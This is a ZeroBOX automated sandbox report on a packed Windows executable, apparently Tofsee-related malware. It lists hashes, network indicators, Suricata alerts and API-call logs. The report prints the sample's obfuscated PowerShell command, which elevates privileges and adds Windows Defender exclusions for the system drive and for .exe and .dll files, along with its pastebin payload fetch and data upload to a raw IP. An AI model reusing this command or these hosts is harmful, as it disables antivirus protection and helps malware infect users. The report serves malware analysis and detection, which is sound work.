Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	July 24, 2023, 9:26 a.m.	July 24, 2023, 9:28 a.m.

Size	2.8MB
Type	PE32 executable (console) Intel 80386, for MS Windows
MD5	`79982cf6836eebddfc2aa3e773f54f38`
SHA256	`c734d9e260a93250d5f6a81fd6a2fd7eb30ac20ea1ac2ec0032767cced2107bc`
CRC32	`385BE20F`
ssdeep	`24576:yOicyeXFhwaxa72C6rj5C+gj3ao2HKElSG/Dg8N6AWWzAHypg186MVhf1JzaKtX0:yrohwaxa2hgjKoPKD/7AH86M/nltXhl`
Yara	UPX_Zero - UPX packed file OS_Processor_Check_Zero - OS Processor Check Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

kgec63hr0ubmn.exe "C:\Users\test22\AppData\Local\Temp\kgec63hr0ubmn.exe"
516
explorer.exe C:\Windows\Explorer.EXE
1236
powershell.exe powershell "Start-Process <#jmybslhisbylumiusns#> powershell <#jmybslhisbylumiusns#> -Verb <#jmybslhisbylumiusns#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
2636
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
  2812

Name	Response	Post-Analysis Lookup
pastebin.com	A 172.67.34.170 A 104.20.67.143 A 104.20.68.143	172.67.34.170
www.microsoft.com	CNAME www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net CNAME www.microsoft.com-c-3.edgekey.net CNAME e13678.dscb.akamaiedge.net A 104.94.217.134	104.94.217.134
ip-api.com	A 208.95.112.1	208.95.112.1

IP Address	Status	Action
104.94.217.134	Active	Moloch
164.124.101.2	Active	Moloch
172.67.34.170	Active	Moloch
185.149.146.118	Active	Moloch
185.159.129.168	Active	Moloch
185.228.234.30	Active	Moloch
208.95.112.1	Active	Moloch
77.91.77.144	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49165 -> 208.95.112.1:80	2022082	ET POLICY External IP Lookup ip-api.com	Device Retrieving External IP Address Detected
TCP 192.168.56.103:49171 -> 172.67.34.170:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 104.94.217.134:80 -> 192.168.56.103:49164	2012692	ET POLICY Microsoft user-agent automated process response to automated request	Misc activity

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49171 172.67.34.170:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	c7:af:cc:81:4d:27:d1:4c:7c:f4:bf:5d:55:9d:80:50:3b:6f:6c:cd

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 24, 2023, 9:27 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 24, 2023, 9:27 a.m.			0	0
IsDebuggerPresent July 24, 2023, 9:27 a.m.			0	0

Command line console output was observed (10 events)

Time & API	Arguments	Status	Return
WriteConsoleA July 24, 2023, 9:26 a.m.	buffer: Surprise! console_handle: 0x00000007	1	1
WriteConsoleW July 24, 2023, 9:27 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW July 24, 2023, 9:27 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW July 24, 2023, 9:27 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW July 24, 2023, 9:27 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW July 24, 2023, 9:27 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath $env:SystemDrive -ExclusionExtension .e console_handle: 0x00000053	1	1
WriteConsoleW July 24, 2023, 9:27 a.m.	buffer: xe, .dll -Force console_handle: 0x0000005f	1	1
WriteConsoleW July 24, 2023, 9:27 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW July 24, 2023, 9:27 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW July 24, 2023, 9:27 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 86 events)

Time & API	Arguments	Status	Return
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052f8a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052f668 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052f668 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052f668 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052f668 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052f668 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052f668 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052ffa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005300e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052fca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005301a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530228 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00530228 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004423f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00442470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00442470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00442470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00442cf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00442cf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00442cf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00442cf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00442cf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 24, 2023, 9:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00442cf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 24, 2023, 9:27 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (4 events)

section	.textbss
section	.zalfot
section	.00cfg
section	.burns

The executable uses a known packer (1 event)

packer

Microsoft Visual C++ V8.0 (Debug)

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ July 24, 2023, 9:26 a.m.	stacktrace: BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x0 registers.esp: 12122764 registers.edi: 10952704 registers.eax: 1184 registers.ebp: 12122780 registers.edx: 2130553844 registers.ebx: 18944 registers.esi: 20324360 registers.ecx: 1096	1	0	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

PUT http://185.228.234.30/clpr/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys

Performs some HTTP requests (5 events)

request	GET http://www.microsoft.com/
request	GET http://ip-api.com/json/?fields=query,status,countryCode,city,timezone
request	GET http://pastebin.com/raw/r0KhEEzi
request	PUT http://185.228.234.30/clpr/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys
request	GET https://pastebin.com/raw/r0KhEEzi

Allocates read-write-execute memory (usually to unpack itself) (50 out of 307 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 516 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01366000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 516 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00950000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76bd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x756f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74361000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75291000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c91000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73411000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73da1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f92000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02730000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02820000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e24000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e61000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0241a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e62000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02412000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02422000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02821000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02822000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02423000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02424000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02507000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c61000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0241b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02505000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02425000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x67aa1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02860000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02426000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
